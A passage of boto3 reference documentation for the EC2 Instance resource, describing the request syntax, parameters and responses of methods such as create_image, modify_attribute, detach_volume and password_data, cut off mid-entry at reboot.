which the output was last updated. + + +create_image(kwargs_) + +Creates an Amazon EBS-backed AMI from an Amazon EBS-backed instance that is either running or stopped. + +If you customized your instance with instance store volumes or EBS volumes in addition to the root device volume, the new AMI contains block device mapping information for those volumes. When you launch an instance from this new AMI, the instance automatically launches with those additional volumes. + +For more information, see [Creating Amazon EBS-Backed Linux AMIs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/creating-an-ami-ebs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateImage) + +**Request Syntax** + +image = instance.create_image( + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + Description='string', + DryRun=True|False, + Name='string', + NoReboot=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **BlockDeviceMappings** (_list_) -- + + The block device mappings. This parameter cannot be used to modify the encryption status of existing volumes or snapshots. To create an AMI with encrypted snapshots, use the CopyImage action. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + - **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + - gp3 : 3,000-16,000 IOPS + - io1 : 100-64,000 IOPS + - io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + - **SnapshotId** _(string) --_ + + The ID of the snapshot. + + - **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + - gp2 and gp3 :1-16,384 + - io1 and io2 : 4-16,384 + - st1 : 500-16,384 + - sc1 : 500-16,384 + - standard : 1-1,024 + - **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + - **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + - **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + - **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + - **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + +- **Description** (_string_) -- A description for the new image. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Name** (_string_) -- + + **[REQUIRED]** + + A name for the new image. + + Constraints: 3-128 alphanumeric characters, parentheses (()), square brackets ([]), spaces ( ), periods (.), slashes (/), dashes (-), single quotes ('), at-signs (@), or underscores(_) + +- **NoReboot** (_boolean_) -- By default, Amazon EC2 attempts to shut down and reboot the instance before creating the image. If the No Reboot option is set, Amazon EC2 doesn't shut down the instance before creating the image. When this option is used, file system integrity on the created image can't be guaranteed. +- **TagSpecifications** (_list_) -- + + The tags to apply to the AMI and snapshots on creation. You can tag the AMI, the snapshots, or both. + + - To tag the AMI, the value for ResourceType must be image . + - To tag the snapshots that are created of the root volume and of other EBS volumes that are attached to the instance, the value for ResourceType must be snapshot . The same tag is applied to all of the snapshots that are created. + + If you specify other values for ResourceType , the request fails. + + To tag an AMI or snapshot after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id975)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id977)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.Image + +Returns + +Image resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = instance.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete_tags(kwargs_) + +Deletes the specified set of tags from the specified set of resources. + +To list the current tags, use DescribeTags . For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTags) + +**Request Syntax** + +response = instance.delete_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + The tags to delete. Specify a tag key and an optional tag value to delete specific tags. If you specify a tag key without a tag value, we delete any tag with this key regardless of its value. If you specify a tag key with an empty string as the tag value, we delete the tag only if its value is an empty string. + + If you omit this parameter, we delete all user-defined tags for the specified resources. We do not delete AWS-generated tags (tags that have the aws: prefix). + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified instance. You can specify only one attribute at a time. Valid attribute values are: instanceType | kernel | ramdisk | userData | disableApiTermination | instanceInitiatedShutdownBehavior | rootDeviceName | blockDeviceMapping | productCodes | sourceDestCheck | groupSet | ebsOptimized | sriovNetSupport + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstanceAttribute) + +**Request Syntax** + +response = instance.describe_attribute( + Attribute='instanceType'|'kernel'|'ramdisk'|'userData'|'disableApiTermination'|'instanceInitiatedShutdownBehavior'|'rootDeviceName'|'blockDeviceMapping'|'productCodes'|'sourceDestCheck'|'groupSet'|'ebsOptimized'|'sriovNetSupport'|'enaSupport'|'enclaveOptions', + DryRun=True|False, + +) + +Parameters + +- **Attribute** (_string_) -- + + **[REQUIRED]** + + The instance attribute. + + Note: The enaSupport attribute is not supported at this time. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'Ebs': { + 'AttachTime': datetime(2015, 1, 1), + 'DeleteOnTermination': True|False, + 'Status': 'attaching'|'attached'|'detaching'|'detached', + 'VolumeId': 'string' + } + }, + ], + 'DisableApiTermination': { + 'Value': True|False + }, + 'EnaSupport': { + 'Value': True|False + }, + 'EnclaveOptions': { + 'Enabled': True|False + }, + 'EbsOptimized': { + 'Value': True|False + }, + 'InstanceId': 'string', + 'InstanceInitiatedShutdownBehavior': { + 'Value': 'string' + }, + 'InstanceType': { + 'Value': 'string' + }, + 'KernelId': { + 'Value': 'string' + }, + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'RamdiskId': { + 'Value': 'string' + }, + 'RootDeviceName': { + 'Value': 'string' + }, + 'SourceDestCheck': { + 'Value': True|False + }, + 'SriovNetSupport': { + 'Value': 'string' + }, + 'UserData': { + 'Value': 'string' + } +} + +**Response Structure** + +- _(dict) --_ + + Describes an instance attribute. + + - **Groups** _(list) --_ + + The security groups associated with the instance. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **BlockDeviceMappings** _(list) --_ + + The block device mapping of the instance. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the volume is deleted on instance termination. + + - **Status** _(string) --_ + + The attachment state. + + - **VolumeId** _(string) --_ + + The ID of the EBS volume. + + - **DisableApiTermination** _(dict) --_ + + If the value is true , you can't terminate the instance through the Amazon EC2 console, CLI, or API; otherwise, you can. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + - **EnaSupport** _(dict) --_ + + Indicates whether enhanced networking with ENA is enabled. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + - **EnclaveOptions** _(dict) --_ + + To enable the instance for AWS Nitro Enclaves, set this parameter to true ; otherwise, set it to false . + + - **Enabled** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for AWS Nitro Enclaves; otherwise, it is not enabled for AWS Nitro Enclaves. + + - **EbsOptimized** _(dict) --_ + + Indicates whether the instance is optimized for Amazon EBS I/O. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **InstanceInitiatedShutdownBehavior** _(dict) --_ + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **InstanceType** _(dict) --_ + + The instance type. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **KernelId** _(dict) --_ + + The kernel ID. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **ProductCodes** _(list) --_ + + A list of product codes. + + - _(dict) --_ + + Describes a product code. + + - **ProductCodeId** _(string) --_ + + The product code. + + - **ProductCodeType** _(string) --_ + + The type of product code. + + - **RamdiskId** _(dict) --_ + + The RAM disk ID. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **RootDeviceName** _(dict) --_ + + The device name of the root device volume (for example, /dev/sda1 ). + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **SourceDestCheck** _(dict) --_ + + Indicates whether source/destination checking is enabled. A value of true means that checking is enabled, and false means that checking is disabled. This value must be false for a NAT instance to perform NAT. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + - **SriovNetSupport** _(dict) --_ + + Indicates whether enhanced networking with the Intel 82599 Virtual Function interface is enabled. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **UserData** _(dict) --_ + + The user data. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + +detach_classic_link_vpc(kwargs_) + +Unlinks (detaches) a linked EC2-Classic instance from a VPC. After the instance has been unlinked, the VPC security groups are no longer associated with it. An instance is automatically unlinked from a VPC when it's stopped. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachClassicLinkVpc) + +**Request Syntax** + +response = instance.detach_classic_link_vpc( + DryRun=True|False, + VpcId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC to which the instance is linked. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +- _(dict) --_ + + - **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +detach_volume(kwargs_) + +Detaches an EBS volume from an instance. Make sure to unmount any file systems on the device within your operating system before detaching the volume. Failure to do so can result in the volume becoming stuck in the busy state while detaching. If this happens, detachment can be delayed indefinitely until you unmount the volume, force detachment, reboot the instance, or all three. If an EBS volume is the root device of an instance, it can't be detached while the instance is running. To detach the root volume, stop the instance first. + +When a volume with an AWS Marketplace product code is detached from an instance, the product code is no longer associated with the instance. + +For more information, see [Detaching an Amazon EBS volume](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-detaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachVolume) + +**Request Syntax** + +response = instance.detach_volume( + Device='string', + Force=True|False, + VolumeId='string', + DryRun=True|False +) + +Parameters + +- **Device** (_string_) -- The device name. +- **Force** (_boolean_) -- Forces detachment if the previous detachment attempt did not occur cleanly (for example, logging into an instance, unmounting the volume, and detaching normally). This option can lead to data loss or a corrupted file system. Use this option only as a last resort to detach a volume from a failed instance. The instance won't have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. +- **VolumeId** (_string_) -- + + **[REQUIRED]** + + The ID of the volume. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} + +**Response Structure** + +- _(dict) --_ + + Describes volume attachment details. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **Device** _(string) --_ + + The device name. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **State** _(string) --_ + + The attachment state of the volume. + + - **VolumeId** _(string) --_ + + The ID of the volume. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") to update the attributes of the Instance resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +instance.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies the specified attribute of the specified instance. You can specify only one attribute at a time. + +> **Note:** Using this action to change the security groups associated with an elastic network interface (ENI) attached to an instance in a VPC can result in an error if the instance has more than one ENI. To change the security groups associated with an ENI attached to an instance that has multiple ENIs, we recommend that you use the ModifyNetworkInterfaceAttribute action. + +To modify some attributes, the instance must be stopped. For more information, see [Modifying attributes of a stopped instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_ChangingAttributesWhileInstanceStopped.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyInstanceAttribute) + +**Request Syntax** + +response = instance.modify_attribute( + SourceDestCheck={ + 'Value': True|False + }, + Attribute='instanceType'|'kernel'|'ramdisk'|'userData'|'disableApiTermination'|'instanceInitiatedShutdownBehavior'|'rootDeviceName'|'blockDeviceMapping'|'productCodes'|'sourceDestCheck'|'groupSet'|'ebsOptimized'|'sriovNetSupport'|'enaSupport'|'enclaveOptions', + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'VolumeId': 'string' + }, + 'NoDevice': 'string', + 'VirtualName': 'string' + }, + ], + DisableApiTermination={ + 'Value': True|False + }, + DryRun=True|False, + EbsOptimized={ + 'Value': True|False + }, + EnaSupport={ + 'Value': True|False + }, + Groups=[ + 'string', + ], + InstanceInitiatedShutdownBehavior={ + 'Value': 'string' + }, + InstanceType={ + 'Value': 'string' + }, + Kernel={ + 'Value': 'string' + }, + Ramdisk={ + 'Value': 'string' + }, + SriovNetSupport={ + 'Value': 'string' + }, + UserData={ + 'Value': b'bytes' + }, + Value='string' +) + +Parameters + +- **SourceDestCheck** (_dict_) -- + + Specifies whether source/destination checking is enabled. A value of true means that checking is enabled, and false means that checking is disabled. This value must be false for a NAT instance to perform NAT. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +- **Attribute** (_string_) -- The name of the attribute. +- **BlockDeviceMappings** (_list_) -- + + Modifies the DeleteOnTermination attribute for volumes that are currently attached. The volume must be owned by the caller. If no value is specified for DeleteOnTermination , the default is true and the volume is deleted when the instance is terminated. + + To add instance store volumes to an Amazon EBS-backed instance, you must add them when you launch the instance. For more information, see [Updating the block device mapping when launching an instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/block-device-mapping-concepts.html#Using_OverridingAMIBDM) in the _Amazon Elastic Compute Cloud User Guide_ . + + - _(dict) --_ + + Describes a block device mapping entry. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the volume is deleted on instance termination. + + - **VolumeId** _(string) --_ + + The ID of the EBS volume. + + - **NoDevice** _(string) --_ + + suppress the specified device included in the block device mapping. + + - **VirtualName** _(string) --_ + + The virtual device name. + +- **DisableApiTermination** (_dict_) -- + + If the value is true , you can't terminate the instance using the Amazon EC2 console, CLI, or API; otherwise, you can. You cannot use this parameter for Spot Instances. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **EbsOptimized** (_dict_) -- + + Specifies whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +- **EnaSupport** (_dict_) -- + + Set to true to enable enhanced networking with ENA for the instance. + + This option is supported only for HVM instances. Specifying this option with a PV instance can make it unreachable. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +- **Groups** (_list_) -- + + [EC2-VPC] Changes the security groups of the instance. You must specify at least one security group, even if it's just the default security group for the VPC. You must specify the security group ID, not the security group name. + + - _(string) --_ +- **InstanceInitiatedShutdownBehavior** (_dict_) -- + + Specifies whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **InstanceType** (_dict_) -- + + Changes the instance type to the specified value. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) . If the instance type is not valid, the error returned is InvalidInstanceAttributeValue . + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **Kernel** (_dict_) -- + + Changes the instance's kernel to the specified value. We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedKernels.html) . + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **Ramdisk** (_dict_) -- + + Changes the instance's RAM disk to the specified value. We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedKernels.html) . + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **SriovNetSupport** (_dict_) -- + + Set to simple to enable enhanced networking with the Intel 82599 Virtual Function interface for the instance. + + There is no way to disable enhanced networking with the Intel 82599 Virtual Function interface at this time. + + This option is supported only for HVM instances. Specifying this option with a PV instance can make it unreachable. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **UserData** (_dict_) -- + + Changes the instance's user data to the specified value. If you are using an AWS SDK or command line tool, base64-encoding is performed for you, and you can load the text from a file. Otherwise, you must provide base64-encoded text. + + - **Value** _(bytes) --_ +- **Value** (_string_) -- A new value for the attribute. Use only with the kernel , ramdisk , userData , disableApiTermination , or instanceInitiatedShutdownBehavior attribute. + +Returns + +None + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = instance.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +password_data(kwargs_) + +Retrieves the encrypted administrator password for a running Windows instance. + +The Windows password is generated at boot by the EC2Config service or EC2Launch scripts (Windows Server 2016 and later). This usually only happens the first time an instance is launched. For more information, see [EC2Config](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/UsingConfig_WinAMI.html) and [EC2Launch](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2launch.html) in the Amazon Elastic Compute Cloud User Guide. + +For the EC2Config service, the password is not generated for rebundled AMIs unless Ec2SetPassword is enabled before bundling. + +The password is encrypted using the key pair that you specified when you launched the instance. You must provide the corresponding key pair file. + +When you launch an instance, password generation and encryption may take a few minutes. If you try to retrieve the password before it's available, the output returns an empty string. We recommend that you wait up to 15 minutes after launching an instance before trying to retrieve the generated password. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetPasswordData) + +**Request Syntax** + +response = instance.password_data( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceId': 'string', + 'PasswordData': 'string', + 'Timestamp': datetime(2015, 1, 1) +} + +**Response Structure** + +- _(dict) --_ + - **InstanceId** _(string) --_ + + The ID of the Windows instance. + + - **PasswordData** _(string) --_ + + The password of the instance. Returns an empty string if the password is not available. + + - **Timestamp** _(datetime) --_ + + The time the data was last updated. + + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = instance.reboot( + 